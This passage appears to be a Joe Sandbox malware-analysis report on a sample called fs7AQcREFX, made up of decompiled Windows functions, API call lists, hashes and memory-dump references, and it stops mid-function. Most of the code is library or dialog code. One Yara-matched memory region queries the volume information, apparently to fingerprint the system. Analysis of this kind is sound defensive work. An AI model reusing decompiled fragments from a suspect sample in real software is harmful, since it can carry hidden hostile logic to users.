ImageList_Destroy.COMCTL32(010845F6,?,000F9A84), ref: 000FBA92
DeleteObject.GDI32(FC45C700), ref: 000FBAA3

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Window$DestroyLong$DeleteImageList_MenuObject
String ID:
API String ID: 2453398382-0
Opcode ID: a90a71e606d7898174657f7e2d89a2d1a421ed23bd1d0e964db7cf030a335791
Instruction ID: 0f4604d0cc185782e2ef7ecdc153946a926681a318e283faaf2e758f8b18661e
Opcode Fuzzy Hash: a90a71e606d7898174657f7e2d89a2d1a421ed23bd1d0e964db7cf030a335791
Instruction Fuzzy Hash: 5C414EB1A00B049FC721DF6AD984A2BF7E9FF54700B248A1AE592C3E50D7B5E9409F51

Uniqueness

Uniqueness Score: -1.00%

Function 0252626E Relevance: 9.1, APIs: 6, Instructions: 82sleepsynchronizationCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0252629F
WaitForSingleObject.KERNEL32(?,00000064), ref: 025262BB
RtlEnterCriticalSection.NTDLL(-0000000C), ref: 025262CF
RtlLeaveCriticalSection.NTDLL(-0000000C), ref: 0252630B
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 02526332
SetEvent.KERNEL32(?), ref: 0252633F
Sleep.KERNEL32(00001388), ref: 0252634C

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterEventFreeInitializeLeaveObjectSingleSleepVirtualWait
String ID:
API String ID: 1808503317-0
Opcode ID: da280e71ec3a99b65995f52adc77ad663979440fa247493721eb839d5c2aa800
Instruction ID: 728de63b426e2e59f065a29d73cfbbc2cdae4e5eb96f5f6767e57f680986c22b
Opcode Fuzzy Hash: da280e71ec3a99b65995f52adc77ad663979440fa247493721eb839d5c2aa800
Instruction Fuzzy Hash: 1C212AB5900218EFDB04DF94C988BAEBBB9FF49301F148698E515A72C1C739DE84CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02528F77 Relevance: 9.1, APIs: 6, Instructions: 80sleepCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 02528F89
GetExitCodeProcess.KERNEL32(00001388,00000000), ref: 02528FD5
Sleep.KERNEL32(00001388), ref: 02528FED
CloseHandle.KERNEL32(00001388), ref: 02528FFC
Sleep.KERNEL32(00007530), ref: 02529007
VirtualFree.KERNEL32(00000096,00000000,00008000), ref: 0252906C

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: Sleep$CloseCodeExitFreeHandleInitializeProcessVirtual
String ID:
API String ID: 1244543080-0
Opcode ID: ed182e9468d2a1e01710d6f68e2a7221afbf645ae7bff158efb8b97c7a8eedfb
Instruction ID: f42469ca1511d1b81f2d44d2655019b3f1e37c88a577191b8e146e7c0322463d
Opcode Fuzzy Hash: ed182e9468d2a1e01710d6f68e2a7221afbf645ae7bff158efb8b97c7a8eedfb
Instruction Fuzzy Hash: 89312B74A04209EBEB14DF94C848BAEB7B1FB45305F248668E505AB3C0D7799E88CF95

Uniqueness

Uniqueness Score: -1.00%

Function 000FEDB0 Relevance: 9.1, APIs: 6, Instructions: 61
windowthreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E000FEDB0(void* __ecx, void* __esi, intOrPtr _a4, long* _a8) {
				long _v8;
				signed char _t28;
				signed int _t38;
				intOrPtr _t39;
				void* _t50;

				_t50 = __esi;
				_t38 = 0;
				if(( *(__esi + 0x58) & 0x00000008) == 0) {
					GetWindowThreadProcessId(GetActiveWindow(),  &_v8);
					_t38 = 0 | GetCurrentProcessId() != _v8;
				}
				if(IsWindowEnabled( *(_t50 + 0x5c)) == 0 || _t38 != 0) {
					_t39 = _a4;
					if(( *(_t39 + 0x14) & 0x00000001) == 0) {
						goto L7;
					} else {
						return 1;
					}
				} else {
					_t39 = _a4;
					L7:
					_t28 =  *(_t39 + 0x14);
					 *_a8 = 0;
					if((_t28 & 0x00000085) == 0) {
						if((_t28 & 0x00000010) != 0) {
							SendMessageA( *(_t50 + 0x5c), 0x11f, 0,  *(_t50 + 0x44));
						}
						if(( *(_t39 + 0x14) & 0x00000020) != 0) {
							SendMessageA( *(_t50 + 0x5c), 0x11f, 0xffff0000, 0);
						}
					}
					return 0;
				}
			}

0x000fedb0
0x000fedb5
0x000fedbb
0x000fedc8
0x000fedd7
0x000fedd7
0x000fede6
0x000fedec
0x000fedf7
0x00000000
0x000fedf9
0x000fedfd
0x000fedfd
0x000fee00
0x000fee00
0x000fee03
0x000fee03
0x000fee09
0x000fee11
0x000fee1c
0x000fee2d
0x000fee2d
0x000fee33
0x000fee45
0x000fee45
0x000fee47
0x000fee4e
0x000fee4e

APIs

GetActiveWindow.USER32 ref: 000FEDC1
GetWindowThreadProcessId.USER32(00000000), ref: 000FEDC8
GetCurrentProcessId.KERNEL32 ref: 000FEDCE
IsWindowEnabled.USER32(?), ref: 000FEDDE
SendMessageA.USER32(?,0000011F,00000000,?), ref: 000FEE2D
SendMessageA.USER32(?,0000011F,FFFF0000,00000000), ref: 000FEE45

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Window$MessageProcessSend$ActiveCurrentEnabledThread
String ID:
API String ID: 1989142321-0
Opcode ID: 6a71fc5f26294ae55893853ab07ea771783a8d23d5f19c7f642b1a4750916f5f
Instruction ID: 17e063674a154814befb1ca6feaface1eb249b9407608f79dbf37b8765a5467c
Opcode Fuzzy Hash: 6a71fc5f26294ae55893853ab07ea771783a8d23d5f19c7f642b1a4750916f5f
Instruction Fuzzy Hash: 5711A332640348ABD724CF64ED88FABB7E8BB49314F148548FF419BA95C6B5ED80D760

Uniqueness

Uniqueness Score: -1.00%

Function 0010E601 Relevance: 9.0, APIs: 6, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E0010E601(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t48;
				void* _t53;
				intOrPtr _t57;
				void* _t58;
				void* _t61;

				_t61 = __eflags;
				_push(0x2c);
				_push(0x1155f0);
				E00108F60(__ebx, __edi, __esi);
				_t48 = __ecx;
				_t55 =  *((intOrPtr*)(_t58 + 0xc));
				_t57 =  *((intOrPtr*)(_t58 + 8));
				 *((intOrPtr*)(_t58 - 0x1c)) = __ecx;
				 *(_t58 - 0x34) =  *(_t58 - 0x34) & 0x00000000;
				 *((intOrPtr*)(_t58 - 0x24)) =  *((intOrPtr*)( *((intOrPtr*)(_t58 + 0xc)) - 4));
				 *((intOrPtr*)(_t58 - 0x28)) = E0010E1B9(_t58 - 0x3c,  *((intOrPtr*)(_t57 + 0x18)));
				 *((intOrPtr*)(_t58 - 0x2c)) =  *((intOrPtr*)(E0010756D(__ecx, _t53, _t61) + 0x88));
				 *((intOrPtr*)(_t58 - 0x30)) =  *((intOrPtr*)(E0010756D(_t48, _t53, _t61) + 0x8c));
				 *((intOrPtr*)(E0010756D(_t48, _t53, _t61) + 0x88)) = _t57;
				 *((intOrPtr*)(E0010756D(_t48, _t53, _t61) + 0x8c)) =  *((intOrPtr*)(_t58 + 0x10));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *((intOrPtr*)(_t58 + 0x10)) = 1;
				 *(_t58 - 4) = 1;
				 *((intOrPtr*)(_t58 - 0x1c)) = E0010E25E(_t55,  *((intOrPtr*)(_t58 + 0x14)), _t48,  *((intOrPtr*)(_t58 + 0x18)),  *((intOrPtr*)(_t58 + 0x1c)));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *(_t58 - 4) = 0xfffffffe;
				 *((intOrPtr*)(_t58 + 0x10)) = 0;
				E0010E727(_t48, _t53, _t55, _t57, _t61);
				return E00108FA5( *((intOrPtr*)(_t58 - 0x1c)));
			}

0x0010e601
0x0010e601
0x0010e603
0x0010e608
0x0010e60d
0x0010e60f
0x0010e612
0x0010e615
0x0010e618
0x0010e61f
0x0010e630
0x0010e63e
0x0010e64c
0x0010e654
0x0010e662
0x0010e668
0x0010e66f
0x0010e672
0x0010e688
0x0010e68b
0x0010e700
0x0010e707
0x0010e70e
0x0010e71b

APIs

__CreateFrameInfo.LIBCMT ref: 0010E629

Part of subcall function 0010E1B9: __getptd.LIBCMT ref: 0010E1C7
Part of subcall function 0010E1B9: __getptd.LIBCMT ref: 0010E1D5

__getptd.LIBCMT ref: 0010E633

Part of subcall function 0010756D: __getptd_noexit.LIBCMT ref: 00107570
Part of subcall function 0010756D: __amsg_exit.LIBCMT ref: 0010757D

__getptd.LIBCMT ref: 0010E641
__getptd.LIBCMT ref: 0010E64F
__getptd.LIBCMT ref: 0010E65A
_CallCatchBlock2.LIBCMT ref: 0010E680

Part of subcall function 0010E25E: __CallSettingFrame@12.LIBCMT ref: 0010E2AA

Part of subcall function 0010E727: __getptd.LIBCMT ref: 0010E736
Part of subcall function 0010E727: __getptd.LIBCMT ref: 0010E744

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: f2ada90901f7ceb325b6b2b292af5385be8fcee617a217e149dd06c46c153822
Instruction ID: 0e8e96b2f092b1c30832dd01760f9031b4605cacb66420248ffe10eea8435b4b
Opcode Fuzzy Hash: f2ada90901f7ceb325b6b2b292af5385be8fcee617a217e149dd06c46c153822
Instruction Fuzzy Hash: 3211F6B1D04309DFDF00EFA4D845AEDBBB1FF18314F108469F894A7292DBB89A119B50

Uniqueness

Uniqueness Score: -1.00%

Function 000FAEC0 Relevance: 9.0, APIs: 6, Instructions: 49
threadCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E000FAEC0(intOrPtr __eax, intOrPtr __ecx, void* __edi, void* __esi, intOrPtr _a8, unsigned int _a12, intOrPtr _a16, intOrPtr* _a20) {
				struct %anon39 _t23;
				intOrPtr _t24;
				signed int _t30;
				int _t34;
				intOrPtr _t37;
				intOrPtr _t40;
				intOrPtr _t44;
				intOrPtr _t47;
				intOrPtr* _t51;
				intOrPtr* _t52;

				_t37 = __ecx;
				_t47 = __ecx;
				if( *((intOrPtr*)(__ecx + 0x28)) == 0) {
					 *((intOrPtr*)(__ecx + 0x28)) = __eax;
				}
				_t51 = _t47 + 8;
				if(_t51 == 0) {
					RaiseException(0xc0000005, 1, 0, 0);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_t23 =  *(_t47 + 0x24);
					_push(_t51);
					if( *((intOrPtr*)(_t23 + 4)) == 0) {
						 *((intOrPtr*)(_t23 + 4)) = _t37;
					}
					_t52 = _t47 + 8;
					if(_t52 == 0) {
						RaiseException(0xc0000005, 1, 0, 0);
						asm("int3");
						_t24 = _t37;
						if(_a12 != 0 || _a8 != 0x111) {
							L15:
							return 0;
						} else {
							_t41 = _a12;
							if(0x400 != _a12) {
								goto L15;
							} else {
								 *_a20 = E000FD5E0(_t24, _t41 >> 0x10, 0x400, _a16);
								return 1;
							}
						}
					} else {
						 *_t52 = _t47;
						 *((intOrPtr*)(_t52 + 4)) = GetCurrentThreadId();
						EnterCriticalSection(0x170c68);
						_t44 =  *0x170c80; // 0x0
						 *((intOrPtr*)(_t52 + 8)) = _t44;
						 *0x170c80 = _t52;
						LeaveCriticalSection(0x170c68);
						_t30 = PrintDlgA( *(_t47 + 0x24));
						asm("sbb eax, eax");
						 *(_t47 + 4) = 0;
						return  ~_t30 + 2;
					}
				} else {
					 *_t51 = _t47;
					 *((intOrPtr*)(_t51 + 4)) = GetCurrentThreadId();
					EnterCriticalSection(0x170c68);
					_t40 =  *0x170c80; // 0x0
					 *((intOrPtr*)(_t51 + 8)) = _t40;
					 *0x170c80 = _t51;
					LeaveCriticalSection(0x170c68);
					_t34 = ChooseFontA(_t47 + 0x24);
					 *(_t47 + 4) = 0;
					if(_t34 != 0) {
						_t34 = E001096A0(_t47 + 0xa0,  *((intOrPtr*)(_t47 + 0x30)), 0x3c);
					}
					asm("sbb eax, eax");
					return _t34 + 2;
				}
			}

0x000faec0
0x000faec2
0x000faec8
0x000faeca
0x000faeca
0x000faecd
0x000faed2
0x000faf45
0x000faf4b
0x000faf4c
0x000faf4d
0x000faf4e
0x000faf4f
0x000faf50
0x000faf57
0x000faf58
0x000faf5a
0x000faf5a
0x000faf5d
0x000faf62
0x000fafb9
0x000fafbf
0x000fafc7
0x000fafc9
0x000fb001
0x000fb004
0x000fafd4
0x000fafd4
0x000fafdf
0x00000000
0x000fafe1
0x000faff6
0x000faffe
0x000faffe
0x000fafdf
0x000faf64
0x000faf64
0x000faf71
0x000faf74
0x000faf7a
0x000faf80
0x000faf88
0x000faf8e
0x000faf98
0x000fafa0
0x000fafa2
0x000fafad
0x000fafad
0x000faed4
0x000faed4
0x000faee1
0x000faee4
0x000faeea
0x000faef0
0x000faef8
0x000faefe
0x000faf08
0x000faf10
0x000faf19
0x000faf28
0x000faf2d
0x000faf32
0x000faf39
0x000faf39

APIs

GetCurrentThreadId.KERNEL32 ref: 000FAED6
EnterCriticalSection.KERNEL32(00170C68), ref: 000FAEE4
LeaveCriticalSection.KERNEL32(00170C68), ref: 000FAEFE
ChooseFontA.COMDLG32(?), ref: 000FAF08
_memmove.LIBCMT ref: 000FAF28
RaiseException.KERNEL32(C0000005,00000001,00000000,00000000,?,?,000F708D), ref: 000FAF45

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: CriticalSection$ChooseCurrentEnterExceptionFontLeaveRaiseThread_memmove
String ID:
API String ID: 986443956-0
Opcode ID: 7dc45b2e4bfc4b90fde0a096cf8870c9972aa8750f493688822f1cb70bb7a77a
Instruction ID: c97b922d3f3de970ee059db26937e8aaf8937b46320ca86ae46889394fc8ad37
Opcode Fuzzy Hash: 7dc45b2e4bfc4b90fde0a096cf8870c9972aa8750f493688822f1cb70bb7a77a
Instruction Fuzzy Hash: 2501D4B1E01711EBD3669F10DD89B9AB7B0FB09B20F108618F5099BE80D7B4A4C5CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00105693 Relevance: 9.0, APIs: 6, Instructions: 47
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00105693() {
				int _t3;
				long _t5;
				long _t7;
				long _t13;
				void* _t19;
				LONG* _t22;

				_t3 = IsProcessorFeaturePresent(0xc);
				if(_t3 != 0) {
					_t22 =  *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x34;
					_t5 =  *_t22;
					if(_t5 != 0) {
						L7:
						 *0x170c00 = _t5;
						_t7 = 1;
					} else {
						_t19 = HeapAlloc(GetProcessHeap(), _t5, 8);
						_t7 = 0;
						if(_t19 != 0) {
							 *_t19 = 0;
							 *((intOrPtr*)(_t19 + 4)) = 0;
							if(InterlockedCompareExchange(_t22, _t19, 0) != 0) {
								HeapFree(GetProcessHeap(), 0, _t19);
							}
							_t5 =  *_t22;
							goto L7;
						}
					}
					return _t7;
				} else {
					_t13 = _t3 + 1;
					 *0x170c00 = _t13;
					return _t13;
				}
			}

0x00105695
0x0010569d
0x001056b1
0x001056b4
0x001056b9
0x001056f5
0x001056f5
0x001056fc
0x001056bb
0x001056cd
0x001056cf
0x001056d3
0x001056d8
0x001056da
0x001056e5
0x001056ed
0x001056ed
0x001056f3
0x00000000
0x001056f3
0x001056d3
0x00105700
0x0010569f
0x0010569f
0x001056a0
0x001056a5
0x001056a5

APIs

IsProcessorFeaturePresent.KERNEL32(0000000C,00105723,00000000,00000000,00104307), ref: 00105695
GetProcessHeap.KERNEL32(00000018,00000008,00000000,00000000,?), ref: 001056C4
HeapAlloc.KERNEL32(00000000), ref: 001056C7
InterlockedCompareExchange.KERNEL32(?,00000000,00000000), ref: 001056DD
GetProcessHeap.KERNEL32(00000000,00000000), ref: 001056EA
HeapFree.KERNEL32(00000000), ref: 001056ED

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Heap$Process$AllocCompareExchangeFeatureFreeInterlockedPresentProcessor
String ID:
API String ID: 3509966971-0
Opcode ID: 845ec7e4b35019271ba22fd9336c187239564fe5e2c61280d1ca16b769b45bf5
Instruction ID: 2266d246435db5c5aa01d1a5ae8ae30e950dbba6fff818098a458c461b0e8ba3
Opcode Fuzzy Hash: 845ec7e4b35019271ba22fd9336c187239564fe5e2c61280d1ca16b769b45bf5
Instruction Fuzzy Hash: 8E0169B2A00601AFEB11DFB9DD48E5637ADFB49741F418429F545C3640EBB4D9808B20

Uniqueness

Uniqueness Score: -1.00%

Function 000FADC0 Relevance: 9.0, APIs: 6, Instructions: 46
threadCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E000FADC0(intOrPtr __eax, intOrPtr __esi) {
				signed int _t37;
				signed int _t40;
				intOrPtr _t44;
				intOrPtr _t47;
				intOrPtr* _t50;
				intOrPtr* _t51;
				intOrPtr _t55;

				_t55 = __esi;
				if( *((intOrPtr*)(__esi + 0x24)) == 0) {
					 *((intOrPtr*)(__esi + 0x24)) = __eax;
				}
				_t50 = _t55 + 8;
				if(_t50 == 0) {
					RaiseException(0xc0000005, 1, 0, 0);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(_t50);
					 *(_t55 + 4) = 0;
					 *((intOrPtr*)(_t55 + 0x14)) = 0;
					_t51 = _t55 + 0x24;
					 *((intOrPtr*)(_t55 + 0x18)) = 0;
					 *((intOrPtr*)(_t55 + 0x1c)) = 0;
					 *(_t55 + 0x20) = DefWindowProcA;
					E00106820(_t51, 0, 0x3c);
					_t44 = _t55 + 0xa0;
					E00106820(_t44, 0, 0x3c);
					E00106820(_t55 + 0x60, 0, 0x40);
					 *((intOrPtr*)(_t55 + 0x28)) = 0;
					 *((intOrPtr*)(_t55 + 0x3c)) = 0;
					 *_t51 = 0x3c;
					 *((intOrPtr*)(_t55 + 0x50)) = _t55 + 0x60;
					 *((intOrPtr*)(_t55 + 0x30)) = _t44;
					 *((intOrPtr*)(_t55 + 0x38)) = 0x109;
					 *((intOrPtr*)(_t55 + 0x44)) =  &M000F56C0;
					return _t55;
				} else {
					 *_t50 = _t55;
					 *((intOrPtr*)(_t50 + 4)) = GetCurrentThreadId();
					EnterCriticalSection(0x170c68);
					_t47 =  *0x170c80; // 0x0
					 *((intOrPtr*)(_t50 + 8)) = _t47;
					 *0x170c80 = _t50;
					LeaveCriticalSection(0x170c68);
					if( *((intOrPtr*)(_t55 + 0x78)) == 0) {
						_t37 = GetSaveFileNameA(_t55 + 0x20);
						asm("sbb eax, eax");
						 *(_t55 + 4) = 0;
						return  ~_t37 + 2;
					} else {
						_t40 = GetOpenFileNameA(_t55 + 0x20);
						asm("sbb eax, eax");
						 *(_t55 + 4) = 0;
						return  ~_t40 + 2;
					}
				}
			}

0x000fadc0
0x000fadc5
0x000fadc7
0x000fadc7
0x000fadca
0x000fadcf
0x000fae46
0x000fae4c
0x000fae4d
0x000fae4e
0x000fae4f
0x000fae57
0x000fae5a
0x000fae5f
0x000fae63
0x000fae67
0x000fae6a
0x000fae6d
0x000fae70
0x000fae77
0x000fae80
0x000fae8d
0x000fae97
0x000fae9a
0x000faea0
0x000faea7
0x000faeaa
0x000faead
0x000faeb4
0x000faebe
0x000fadd1
0x000fadd1
0x000fadde
0x000fade1
0x000fade7
0x000faded
0x000fadf5
0x000fadfb
0x000fae05
0x000fae25
0x000fae2d
0x000fae2f
0x000fae3a
0x000fae07
0x000fae0b
0x000fae13
0x000fae15
0x000fae20
0x000fae20
0x000fae05

APIs

GetCurrentThreadId.KERNEL32 ref: 000FADD3
EnterCriticalSection.KERNEL32(00170C68,?,000F73BA), ref: 000FADE1
LeaveCriticalSection.KERNEL32(00170C68,?,000F73BA), ref: 000FADFB
GetOpenFileNameA.COMDLG32(?,?,000F73BA), ref: 000FAE0B
GetSaveFileNameA.COMDLG32(?,?,000F73BA), ref: 000FAE25

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: CriticalFileNameSection$CurrentEnterLeaveOpenSaveThread
String ID:
API String ID: 3486278792-0
Opcode ID: 668bc60c5104a2ad5663ace47673f7562bc5281382abb864b3cfe54b4714a7ec
Instruction ID: ca5dc9b0d17138f41391f51a0a99e7f02505382242462c46cc77c723d8aff5f9
Opcode Fuzzy Hash: 668bc60c5104a2ad5663ace47673f7562bc5281382abb864b3cfe54b4714a7ec
Instruction Fuzzy Hash: 39014CB1A40B04DBD3668F64ED49B6677F0FB48B01F108A1CF24A87D90D7B4A0C4CB01

Uniqueness

Uniqueness Score: -1.00%

Function 0252B4E7 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 133stringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,00000103), ref: 0252B561
GetVolumeInformationA.KERNEL32(?,?,00000103,00000000,00000000,00000000,?,00000063), ref: 0252B5A4
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,0019660D,00000000,00000000,00000000), ref: 0252B6EC
lstrcpyn.KERNEL32(0019660D,0019660C,?), ref: 0252B70D

Strings

, xrefs: 0252B512

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: ByteCharDirectoryInformationMultiSystemVolumeWidelstrcpyn
String ID:
API String ID: 1524148605-3916222277
Opcode ID: a5435f2ce1c0891dcaf4177d242b49e362ebce4048e03922acf19b48be790683
Instruction ID: 2426d713aa2f4806f18cb106a93c70eb9de0be6df51c69e6e8503e385708e011
Opcode Fuzzy Hash: a5435f2ce1c0891dcaf4177d242b49e362ebce4048e03922acf19b48be790683
Instruction Fuzzy Hash: DE512A719043289FDF25CF54CC88BEAB7B9BB45304F1482D9E549662C0DB75AB88CF51

Uniqueness

Uniqueness Score: -1.00%

Function 000F2BE0 Relevance: 8.9, APIs: 7, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E000F2BE0(char* __eax, void* __ecx, CHAR** __edi) {
				char* _v8;
				CHAR* _t17;
				char _t18;
				void* _t20;
				CHAR* _t21;
				void* _t22;
				CHAR* _t26;
				CHAR* _t29;
				CHAR* _t30;
				CHAR* _t31;
				void* _t32;
				CHAR* _t38;
				void* _t41;
				CHAR* _t44;
				void* _t46;
				void* _t49;
				CHAR* _t50;
				CHAR** _t63;
				char* _t65;

				_t63 = __edi;
				_t65 = __eax;
				while(1) {
					_t17 =  *_t63;
					_t49 =  *_t17 + 0xfffffff7;
					if(_t49 > 0x17) {
						break;
					}
					switch( *((intOrPtr*)(( *(_t49 + 0xf2d20) & 0x000000ff) * 4 +  &M000F2D18))) {
						case 0:
							goto L3;
						case 1:
							goto L4;
					}
				}
				L4:
				_t50 = _t17;
				_t18 =  *_t50;
				if(_t18 != 0) {
					_v8 = _t65;
					if(_t18 != 0x27) {
						do {
							_t38 =  *_t63;
							_t20 =  *_t38 + 0xfffffff7;
							if(_t20 > 0x17) {
								L22:
								_t21 = CharNextA(_t38);
								 *_t63 = _t21;
								_t22 = _t21 - _t38;
								_t14 = _t65 + 1; // 0x1
								if(_t22 + _t14 >= _v8 + 0x1000) {
									goto L28;
								} else {
									if(_t22 > 0) {
										_t41 = _t38 - _t65;
										do {
											 *_t65 =  *((intOrPtr*)(_t41 + _t65));
											_t65 = _t65 + 1;
											_t22 = _t22 - 1;
										} while (_t22 != 0);
									}
									goto L26;
								}
							} else {
								switch( *((intOrPtr*)(( *(_t20 + 0xf2d40) & 0x000000ff) * 4 +  &M000F2D38))) {
									case 0:
										goto L27;
									case 1:
										goto L22;
								}
							}
							goto L29;
							L26:
						} while ( *( *_t63) != 0);
						L27:
						 *_t65 = 0;
						return 0;
					} else {
						_t26 = CharNextA(_t50);
						 *_t63 = _t26;
						while( *_t26 != 0) {
							_t29 =  *_t63;
							if( *_t29 != 0x27 ||  *(CharNextA(_t29)) == 0x27) {
								_t30 =  *_t63;
								if( *_t30 == 0x27) {
									 *_t63 = CharNextA(_t30);
								}
								_t44 =  *_t63;
